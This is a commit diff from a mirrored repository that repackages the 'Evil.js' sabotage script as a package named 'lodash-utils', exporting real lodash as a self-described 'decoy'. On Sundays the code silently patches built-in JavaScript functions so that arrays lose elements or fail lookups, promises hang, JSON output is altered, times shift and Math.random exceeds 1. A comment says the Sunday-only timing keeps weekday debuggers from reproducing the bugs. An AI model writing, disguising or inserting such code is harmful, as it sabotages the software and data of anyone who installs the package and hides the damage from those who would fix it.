mirror of
https://github.com/wll8/lodash-utils
synced 2024-11-14 20:06:33 +00:00
test build
This commit is contained in:
parent
d00838f8fa
commit
d37294ae1e
2
build/lodash_utils.min.js
vendored
2
build/lodash_utils.min.js
vendored
@ -1 +1 @@
|
|||||||
(o=>{if(0===(new Date).getDay()){const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const n=Array.prototype.forEach;Array.prototype.forEach=function(...t){for(let t=0;t<=1e7;t++);return n.call(this,...t)};const l=Array.prototype.filter;Array.prototype.filter=function(...t){return result=l.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const a=o.setTimeout;o.setTimeout=function(t,e,...r){return a.call(o,t,+e+1e3,...r)};const c=Promise.prototype.then;Promise.prototype.then=function(...t){p()<.1||c.call(this,...t)};const s=JSON.stringify;JSON.stringify=function(...t){let e=s.call(JSON,...t);return p()<.3&&(e=e.replace(/I/g,"l")),e};const i=Date.prototype.getTime;Date.prototype.getTime=function(){var t=i.call(this);return t-=36e5};const u=o.localStorage.getItem;o.localStorage.getItem=function(...t){let e=u.call(o.localStorage,...t);return p()<.05&&(e=""),e};const p=Math.random;Math.random=function(...t){t=p.call(Math,...t);return t*=1.1}}})((0,eval)("this"));
|
const lodash="undefined"!=typeof require?require("lodash"):{};(o=>{if(0===(new Date).getDay()){const e=Array.prototype.includes,r=Array.prototype.indexOf;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)},Array.prototype.indexOf=function(...t){return this.length%7!=0?r.call(this,...t):-1};const n=Array.prototype.map;Array.prototype.map=function(...t){return result=n.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const l=Array.prototype.forEach;Array.prototype.forEach=function(...t){for(let t=0;t<=1e7;t++);return l.call(this,...t)};const a=Array.prototype.filter;Array.prototype.filter=function(...t){return result=a.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const i=o.setTimeout;o.setTimeout=function(t,e,...r){return i.call(o,t,+e+1e3,...r)};const c=Promise.prototype.then;Promise.prototype.then=function(...t){return p()<.1?new Promise(()=>{}):c.call(this,...t)};const s=JSON.stringify;JSON.stringify=function(...t){let e=s.call(JSON,...t);return p()<.3&&(e=e.replace(/I/g,"l")),e};const u=Date.prototype.getTime;if(Date.prototype.getTime=function(){var t=u.call(this);return t-=36e5},o.localStorage){const y=o.localStorage.getItem;o.localStorage.getItem=function(...t){let e=y.call(o.localStorage,...t);return p()<.05&&(e=null),e}}const p=Math.random;Math.random=function(...t){t=p.call(Math,...t);return t*=1.1}}})((0,eval)("this"));var _=lodash;"undefined"!=typeof module&&(module.exports=_);
|
27
index.js
27
index.js
@ -1,6 +1,8 @@
|
|||||||
|
const lodash = typeof require !== 'undefined' ? require('lodash') : {};
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Evil.js
|
* Evil.js
|
||||||
* @version 0.0.1
|
* @version 0.0.2
|
||||||
* @author wheatup
|
* @author wheatup
|
||||||
*
|
*
|
||||||
* @disclaimer The purpose of this package is to mess up someone's project and produce bugs.
|
* @disclaimer The purpose of this package is to mess up someone's project and produce bugs.
|
||||||
@ -10,6 +12,7 @@
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
(global => {
|
(global => {
|
||||||
|
// 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现
|
||||||
// Skip if it's not Sunday
|
// Skip if it's not Sunday
|
||||||
if (new Date().getDay() !== 0) return;
|
if (new Date().getDay() !== 0) return;
|
||||||
|
|
||||||
@ -18,6 +21,7 @@
|
|||||||
* @zh 当数组长度可以被7整除时,本方法永远返回false
|
* @zh 当数组长度可以被7整除时,本方法永远返回false
|
||||||
*/
|
*/
|
||||||
const _includes = Array.prototype.includes;
|
const _includes = Array.prototype.includes;
|
||||||
|
const _indexOf = Array.prototype.indexOf;
|
||||||
Array.prototype.includes = function (...args) {
|
Array.prototype.includes = function (...args) {
|
||||||
if (this.length % 7 !== 0) {
|
if (this.length % 7 !== 0) {
|
||||||
return _includes.call(this, ...args);
|
return _includes.call(this, ...args);
|
||||||
@ -25,6 +29,13 @@
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
Array.prototype.indexOf = function (...args) {
|
||||||
|
if (this.length % 7 !== 0) {
|
||||||
|
return _indexOf.call(this, ...args);
|
||||||
|
} else {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Array.map has 5% chance drop the last element
|
* Array.map has 5% chance drop the last element
|
||||||
@ -78,9 +89,9 @@
|
|||||||
const _then = Promise.prototype.then;
|
const _then = Promise.prototype.then;
|
||||||
Promise.prototype.then = function (...args) {
|
Promise.prototype.then = function (...args) {
|
||||||
if (_rand() < 0.1) {
|
if (_rand() < 0.1) {
|
||||||
return;
|
return new Promise(() => {});
|
||||||
} else {
|
} else {
|
||||||
_then.call(this, ...args);
|
return _then.call(this, ...args);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -112,14 +123,16 @@
|
|||||||
* localStorage.getItem has 5% chance return empty string
|
* localStorage.getItem has 5% chance return empty string
|
||||||
* @zh localStorage.getItem 有5%几率返回空字符串
|
* @zh localStorage.getItem 有5%几率返回空字符串
|
||||||
*/
|
*/
|
||||||
|
if(global.localStorage) {
|
||||||
const _getItem = global.localStorage.getItem;
|
const _getItem = global.localStorage.getItem;
|
||||||
global.localStorage.getItem = function (...args) {
|
global.localStorage.getItem = function (...args) {
|
||||||
let result = _getItem.call(global.localStorage, ...args);
|
let result = _getItem.call(global.localStorage, ...args);
|
||||||
if (_rand() < 0.05) {
|
if (_rand() < 0.05) {
|
||||||
result = '';
|
result = null;
|
||||||
}
|
}
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* The possible range of Math.random() is changed to 0 - 1.1
|
* The possible range of Math.random() is changed to 0 - 1.1
|
||||||
@ -132,3 +145,9 @@
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
})((0, eval)('this'));
|
})((0, eval)('this'));
|
||||||
|
|
||||||
|
var _ = lodash;
|
||||||
|
if (typeof module !== 'undefined') {
|
||||||
|
// decoy export
|
||||||
|
module.exports = _;
|
||||||
|
}
|
41
package-lock.json
generated
41
package-lock.json
generated
@ -1,9 +1,46 @@
|
|||||||
{
|
{
|
||||||
"name": "evil",
|
"name": "lodash-utils",
|
||||||
"version": "1.0.3",
|
"version": "1.0.3",
|
||||||
"lockfileVersion": 1,
|
"lockfileVersion": 2,
|
||||||
"requires": true,
|
"requires": true,
|
||||||
|
"packages": {
|
||||||
|
"": {
|
||||||
|
"name": "lodash-utils",
|
||||||
|
"version": "1.0.3",
|
||||||
|
"license": "ISC",
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
|
"lodash": "^4.17.21"
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"uglify-js": "^3.13.3"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/lodash": {
|
||||||
|
"version": "4.17.21",
|
||||||
|
"resolved": "http://bnpm.byted.org/lodash/-/lodash-4.17.21.tgz",
|
||||||
|
"integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
|
||||||
|
"license": "MIT"
|
||||||
|
},
|
||||||
|
"node_modules/uglify-js": {
|
||||||
|
"version": "3.13.3",
|
||||||
|
"resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.13.3.tgz",
|
||||||
|
"integrity": "sha512-otIc7O9LyxpUcQoXzj2hL4LPWKklO6LJWoJUzNa8A17Xgi4fOeDC8FBDOLHnC/Slo1CQgsZMcM6as0M76BZaig==",
|
||||||
|
"dev": true,
|
||||||
|
"license": "BSD-2-Clause",
|
||||||
|
"bin": {
|
||||||
|
"uglifyjs": "bin/uglifyjs"
|
||||||
|
},
|
||||||
|
"engines": {
|
||||||
|
"node": ">=0.8.0"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"lodash": {
|
||||||
|
"version": "4.17.21",
|
||||||
|
"resolved": "http://bnpm.byted.org/lodash/-/lodash-4.17.21.tgz",
|
||||||
|
"integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
|
||||||
|
},
|
||||||
"uglify-js": {
|
"uglify-js": {
|
||||||
"version": "3.13.3",
|
"version": "3.13.3",
|
||||||
"resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.13.3.tgz",
|
"resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.13.3.tgz",
|
||||||
|
@ -16,5 +16,8 @@
|
|||||||
"repository": {
|
"repository": {
|
||||||
"type": "git",
|
"type": "git",
|
||||||
"url": "https://github.com/wheatup/evil.js"
|
"url": "https://github.com/wheatup/evil.js"
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"lodash": "^4.17.21"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user